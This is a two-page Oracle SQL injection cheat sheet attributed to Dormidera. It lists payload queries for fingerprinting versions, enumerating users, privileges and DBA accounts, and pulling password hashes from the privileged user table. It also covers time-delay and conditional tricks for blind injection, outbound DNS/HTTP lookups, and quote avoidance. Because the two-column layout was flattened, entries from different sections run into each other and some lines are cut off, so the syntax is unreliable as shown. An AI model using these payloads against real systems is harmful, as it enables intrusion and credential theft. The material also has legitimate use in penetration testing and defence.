Oracle SQL Injection Cheat Sheet
by Dormidera via [Link]/117478/cs/21822/
Version Time Delay
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; BEGIN DBMS_L[Link]EEP(5); END; — priv, can’t seem to embed
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; this in a SELECT
SELECT version FROM v$instance; SELECT UTL_INADDR.get_host_name(’1[Link]′) FROM dual; — if
reverse looks are slow
Comments SELECT UTL_INADDR.get_host_address(‘b[Link]tac[Link]’)
FROM dual; — if forward lookups are slow
SELECT 1 FROM dual — comment
SELECT UTL_HTTP.REQUEST(‘http://googl[Link]’) FROM dual; —
– NB: SELECT statements must have a FROM clause in Oracle so
if outbound TCP is filtered / slow
we have to use the dummy table name ‘dual’ when we’re not actually
selecting from a table.
Case Statement
Current User SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; —
returns 1
SELECT user FROM dual
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; —
List Users returns 2
SELECT username FROM all_users ORDER BY username;
Make DNS Requests
SELECT name FROM [Link]$; — priv
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
List Password Hashes SELECT UTL_HTTP.REQUEST(‘http://googl[Link]’) FROM dual;
SELECT name, password, astatus FROM [Link]$ — priv, <= 10g
String Concatenation
SELECT name,spare4 FROM [Link]$ — priv, 11g
SELECT ‘A’ || ‘B’ FROM dual; — returns AB
List Privileges
Current Database
SELECT * FROM session_privs; — current privs
SELECT global_name FROM global_name;
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; —
SELECT name FROM v$database;
priv, list a user’s privs
SELECT instance_name FROM v$instance;
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT
ANY DICTIONARY’; — priv, find users with a particular priv SELECT [Link]TABASE_NAME FROM DUAL;
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List Databases
Location of DB files SELECT DISTINCT owner FROM all_tables; — list schemas (one
per user) – Also query TNS listener for other databases. See tnscmd
SELECT name FROM V$DATAFILE;
(services | status).
Avoiding Quotes
List Columns
SELECT chr(65) || chr(66) FROM dual; — returns AB
SELECT column_name FROM all_tab_columns WHERE
table_name = ‘blah’;
Hostname, IP Address
SELECT column_name FROM all_tab_columns WHERE
SELECT UTL_INADDR.get_host_name FROM dual;
table_name = ‘blah’ and owner = ‘foo’;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP Bitwise AND
address
SELECT bitand(6,2) FROM dual; — returns 2
SELECT UTL_INADDR.get_host_name(’1[Link]′) FROM dual; —
SELECT bitand(6,1) FROM dual; — returns0
gets hostnames
By Dormidera Published 18th February, 2020. Sponsored by [Link]
[Link]/dormidera/ Last updated 21st February, 2020. Learn to solve cryptic crosswords!
Page 1 of 2. [Link]
Oracle SQL Injection Cheat Sheet
by Dormidera via [Link]/117478/cs/21822/
If Statement
BEGIN IF 1=1 THEN dbms_l[Link]eep(3); ELSE dbms_l[Link]eep(0);
END IF; END; — doesn’t play well with SELECT statements
List DBA Accounts
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_‐
OPTION = ‘YES’; — priv, list DBAs, DBA roles
Select Nth Row
SELECT username FROM (SELECT ROWNUM r, username FROM
all_users ORDER BY username) WHERE r=9; — gets 9th row (rows
numbered from 1)
List Tables
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column Name
SELECT owner, table_name FROM all_tab_columns WHERE column‐
_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Char
SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
ASCII Value -> Char
SELECT chr(65) FROM dual; — returns A
Casting
SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
Char -> ASCII Value
SELECT ascii(‘A’) FROM dual; — returns 65
By Dormidera Published 18th February, 2020. Sponsored by [Link]
[Link]/dormidera/ Last updated 21st February, 2020. Learn to solve cryptic crosswords!
Page 2 of 2. [Link]